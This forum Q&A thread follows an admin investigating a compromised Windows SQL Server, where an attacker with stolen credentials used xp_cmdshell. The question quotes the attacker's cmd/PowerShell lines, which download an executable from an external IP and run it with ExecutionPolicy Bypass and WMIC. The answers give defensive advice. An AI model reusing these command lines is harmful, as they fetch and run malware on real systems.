How to find the process that is running PowerShell commands that appear in Windows Defender

Question

On one of our Windows Datacenter 2016, there's an alert that a trojan is trying to install :

The following PowerShell commands are trying to execute at seemingly random hours of the day (always during working hours, one to two times a day, sometimes there are a few days between attempts which makes me think it's embedded in a file that is executed by the users of the machine)

CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >%TEMP%\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, %TEMP%\tzt.exe) >> %TEMP%\updt.ps1 & powershell -ExecutionPolicy Bypass %TEMP%\updt.ps1 & WMIC process call create %TEMP%\tzt.exe
CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe) >> C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & WMIC process call create C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe

So I suppose it's embedded in some kind of other files, or through a network attack, but I don't know how to investigate this to know which service/file is faulty.

Edit :

I checked into the event viewer : system logs and the detections hours by windows defender coincides with the service : App deployment services starting

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{xxx-a6d7-4695-8e1e-xxx012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7036</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-03-03T13:36:51.390130000Z" /> 
  <EventRecordID>685207</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="708" ThreadID="13796" /> 
  <Channel>System</Channel> 
  <Computer>xxxx</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="param1">AppX Deployment Service (AppXSVC)</Data> 
  <Data Name="param2">running</Data> 
  <Binary>4100700070005800xx4000000</Binary> 
  </EventData>
  </Event>

In the event viewer > Windows logs > Application I found that the following values are changed at the time Windows defender is triggered :

• TRUSTWORTHY new value ON for database msdb
• 'clr enabled' new value : 1
• 'show advanced options' new value : 1
• ''xp_cmdshell' new value : 1

Comming from user : MSSQL$SAGE100 which is a the sys sql user

So i suppose the user has been compromised and is used to try to issue powershell commands to the vm, I have enabled the logging for successful logins on the sql server to see if the commands are issued through an application or directly from the network.

After another attack yesterday I can confirm that someone is logging from outside with the correct credentials for an sql user of my sql server and uses this user to conduct the attack.

Answer 1

It sounds like you've already solved the "what process is doing this?" question, so this answer is instead about how to solve your real problem.

After another attack yesterday I can confirm that someone is logging from outside with the correct credentials for an sql user of my sql server and uses this user to conduct the attack.

You really, REALLY should not allow external login to DB servers except from trusted locations (your app servers, potentially the office network but ideally only the jump box for your production network, etc.).

Furthermore, you should follow the principle of least privilege, and not allow most users to take dangerous actions (such as enabling or using xp_cmdshell). While generally there's no way to prevent an administrative user from having such privileges, most DB users - including those used by app servers - can and should have far fewer privileges than admins, and admin credentials should be very tightly controlled.

Answer 2

I speculate that your attacker is using the stolen credentials to run xp_cmdshell, giving it the command lines you've shown in your question. (Ed. depending on who owned these creds originally, you might need to have a chat.)

Depending on how you're using it, you could get rid of xp_cmdshell all together. You could also restrict which users have access to xp_cmdshell, limit the capability of xp_cmdshell by running it under a standard windows user account ELopes'18, and also enable auditing of xp_cmdshell calls PKeisler'18.

I ran VirusTotal on the http linked exe, and surprise (!!), it's considered malicious by over 1/4 of scanners o: (... on a side note, it forced HybridAnalysis into apoplexy so it must've been something yummy!)

Anyway, it looks like Windows Defender is doing its job, which is a plus. (In my experience it will freak out over a single entry in VirusTotal, as recently happened with one of the SysinternalSuite tools, which may also be useful to you - as suggested in the comments, be sure to take this host offline and go over it with a fine-toothed comb - autoruns.exe can help here.)

I would also be very concerned about the ability for this backend database to connect willy-nilly to some blacklisted host on the internet, ie. something somewhere is asking nicely for this box to ...

"HEY COMRADE! download totally benign exe file and run him - let me know when finished, da?" ... signed, legit user

(Consider introducing firewalling based on listed ip addresses through a separate mechanism - feel free to ask another q and describe your environment a bit more for a decent answer on this topic.)